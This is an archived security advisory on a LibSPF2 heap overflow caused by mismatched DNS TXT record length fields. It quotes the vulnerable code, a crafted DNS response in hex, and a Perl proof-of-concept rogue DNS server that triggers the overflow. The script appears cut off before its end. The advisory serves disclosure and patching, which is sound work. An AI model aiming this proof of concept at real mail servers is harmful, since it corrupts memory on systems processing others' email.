[UNIX] LibSPF2 DNS TXT Record Parsing Bug



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



LibSPF2 DNS TXT Record Parsing Bug
------------------------------------------------------------------------


SUMMARY

A relatively common bug parsing TXT records delivered over DNS, dating at
least back to 2002 in Sendmail 8.2.0 and almost certainly much earlier,
has been found in LibSPF2, a library frequently used to retrieve SPF
(Sender Policy Framework) records and apply policy according to those
records. This implementation flaw allows for relatively flexible memory
corruption, and should thus be treated as a path to anonymous remote code
execution. Of particular note is that the remote code execution would
occur on servers specifically designed to receive E-Mail from the
Internet, and that these systems may in fact be high volume mail
exchangers. This creates privacy implications. It is also the case that a
corrupted email server is a useful jumping off point for attackers to
corrupt desktop machines, since attachments can be corrupted with malware
while the containing message stays intact. So there are internal security
implications as well, above and beyond corruption of the mail server on
the DMZ.

DETAILS

Vulnerable Systems:
* libSPF2 version 1.2.5

Immune Systems:
* libSPF2 version 1.2.8


Recommendations:
If you are a major mail exchange, you should determine whether the SPAM
filters that protect your systems use LibSPF2.

If you are a vendor of anti-SPAM devices, or the author of an operating
system with components that may use LibSPF2, you should determine whether
LibSPF2 is used in any of your configurations and migrate to LibSPF 1.2.8,
found at: <http://www.libspf2.org/index.html>
http://www.libspf2.org/index.html

If your product has a dependency on DNS TXT records, we recommend you test
it for the parsing bug that LibSPF2 was vulnerable to, since this has been
a problem for some time. Name server implementations may want to consider
adding filtering themselves, though record validation is not normally
their job.

Details: DNS TXT records have long been a little tricky to parse, due to
them containing two length fields. First, there is the length field of the
record as a whole. Then, there is a sublength field, from 0 to 255, that
describes the length of a particular character string inside the larger
record. There is nothing that links the two values, and DNS servers to not
themselves enforce sanity checks here. As such, there is always a risk
that when receiving a DNS TXT record, the outer record length will be the
amount allocated, but the inner length will be copied.

In the past, we ve seen this particular bug all over the place, including
in Sendmail. This is just the same bug, showing up in LibSPF2 1.2.5:
Spf_dns_resolv.c#SPF_dns_resolv_lookup():

case ns_t_txt:
if ( rdlen > 1 )
{
u_char *src, *dst;
size_t len;

if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) !=
SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt
return spfrr;

dst = spfrr->rr[cnt]->txt;
len = 0;
src = (u_char *)rdata;
while ( rdlen > 0 )
{
len = *src; // get a second length from the attacker
controlled datastream -- some value from 0 to 255, unbound to rdlen
src++;
memcpy( dst, src, len ); // copy that second length to
rdlen byte buffer.
dst += len;
src += len;
rdlen -= len + 1;
}
*dst = '\0';

For validation purposes, a build of LibSPF2 was instrumented, to validate
the heap overflow:

$ ./spfquery -ip=1.2.3.4 -sender=foo@xxxxxxxxxxxxxx
buffer 8107080 has size 16
buffer 8107090 has size 16
buffer 81070a0 has size 16
writing 255 bytes to a 15 size buffer at 81070a0 // overflow
buffer 8123030 has size 234
writing 233 bytes to a 234 size buffer at 8123030
buffer 81060c0 has size 20
buffer 81060e0 has size 20
buffer 8123120 has size 234
buffer 8106100 has size 31
StartError
Context: Failed to query MAIL-FROM
ErrorCode: (2) Could not find a valid SPF record
Error: Invalid character in middle of mechanism near ' bar.toorrr'
Error: Failed to compile SPF record for 'bar.toorrr.com'
EndError
(invalid)

The actual record used to spawn this behavior was as follows:

;; HEADER SECTION
;; id = 63838
;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 1
;; ra = 0 ad = 0 cd = 0 rcode = NOERROR
;; qdcount = 1 ancount = 2 nscount = 0 arcount = 0

;; QUESTION SECTION (1 record)
;; bar.toorrr.com. IN TXT

;; ANSWER SECTION (2 records)
bar.toorrr.com. 0 IN TXT "v=spf1 mx +all"
bar.toorrr.com. 0 IN TXT
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

;; AUTHORITY SECTION (0 records)

;; ADDITIONAL SECTION (0 records)

Or, in hex:

00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F
0123456789ABCDEF

00000000 F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72
^...........bar
00000010 06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01
toorrr.com.....
00000020 C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73
............v=s
00000030 70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00 pf1 mx+all.....
00000040 01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41
.......AAAAAAAA
00000050 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000060 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000070 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000080 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000090 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000A0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000B0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000C0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000D0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000E0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000F0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000100 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000110 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000120 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000130 41 A

The altered length field, on 0x2C, is what s causing the overflow. Sample
code to reproduce the above is attached at the end of this paper.

Conclusion:
There is nothing particularly special about this bug we ve even seen this
in mail servers before. But it is apparently present on some very high
profile and high traffic systems. SPF is a major part of how the Internet
attempts to filter SPAM, and while it s not perfect, it is pretty helpful.
LibSPF2 is one of the more common libraries out there for handling SPF
traffic, with billions of messages a day being protected by it.

Unfortunately, that also means billions of messages a day are at risk the
nature of this flaw is such that an attacker can force arbitrary (or at
least ASCII encoded, though no nameservers have been found that enforce
ASCII) bytes to be copied into a buffer too small to contain them. This is
a straightforward anonymous remote code execution find, made interesting
specifically by where the bug happens to be.

Simple code to reproduce heap overflow:
# cat spfattack.pl
#!/usr/bin/perl
#

use Net::DNS;
use IO::Socket::INET;
use Data::HexDump;


my $qclass = "IN";
my $ttl = 10;

while (1){
my $sock = IO::Socket::INET->new(
LocalPort => '53',
Proto => 'udp');
$sock->recv($newmsg, 2048);
my $req = Net::DNS::Packet->new(\$newmsg);
$req->print;
my $id = $req->header->id();
my @q = $req->question;
my $qname = $q[0]->qname;
my $qtype = $q[0]->qtype;
if($qtype eq "PTR") { next; }
$answer = Net::DNS::Packet->new($qname, $qtype);
if($qtype eq "TXT"){
$answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype
'v=spf1 mx +all'"));
my $spf = "A"x233;
$answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype
'$spf'"));
}
if($qtype eq "MX"){}

$answer->header->id($id);
$answer->header->aa(1);
$answer->header->qr(1);
$answer->print;
my $port = $sock->peerport;
my $peer = inet_ntoa($sock->peeraddr);

$sock->shutdown(2);
$sock = "";

my $tempsock = IO::Socket::INET->new(
LocalPort=>'53',
PeerAddr=>"$peer",
PeerPort=>$port,
Proto=>'udp');


my $newans;

$newans = $answer->data;
if($qtype eq "TXT"){
substr($newans, 44, 1, pack("c",0xff));
print HexDump $newans;
}
$tempsock->send($newans);


#my $packet = Net::DNS::Packet->new(\$newmsg);


ADDITIONAL INFORMATION

The information has been provided by <mailto:Dan.Kaminsky@xxxxxxxxxxxx>
Dan Kaminsky.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • Re: [Full-disclosure] DNS TXT Record Parsing Bug in LibSPF2z
    ... A relatively common bug parsing TXT records delivered over DNS, ... filters that protect your systems use LibSPF2. ... rdlen byte buffer. ...
    (Full-Disclosure)
  • Re: [Full-disclosure] DNS TXT Record Parsing Bug in LibSPF2
    ... A relatively common bug parsing TXT records delivered over DNS, ... filters that protect your systems use LibSPF2. ... servers to not themselves enforce sanity checks here. ... rdlen byte buffer. ...
    (Full-Disclosure)
  • [Full-disclosure] DNS TXT Record Parsing Bug in LibSPF2
    ... DNS TXT Record Parsing Bug in LibSPF2 ... rdlen byte buffer. ...
    (Full-Disclosure)
  • [EXPL] NetTerms NetFTPd Buffer Overflow (USER, Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Win32 telnet client software - "NetTerm is a network terminal which can ... NetTerm's NetFTPd has a buffer overflow on authentication buffer. ... def setebpaddr: ...
    (Securiteam)
  • [UNIX] Conquest Client Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Conquest Client Buffer Overflow ... SP_CLIENTSTAT is a type of packet used by the server for sending some ...
    (Securiteam)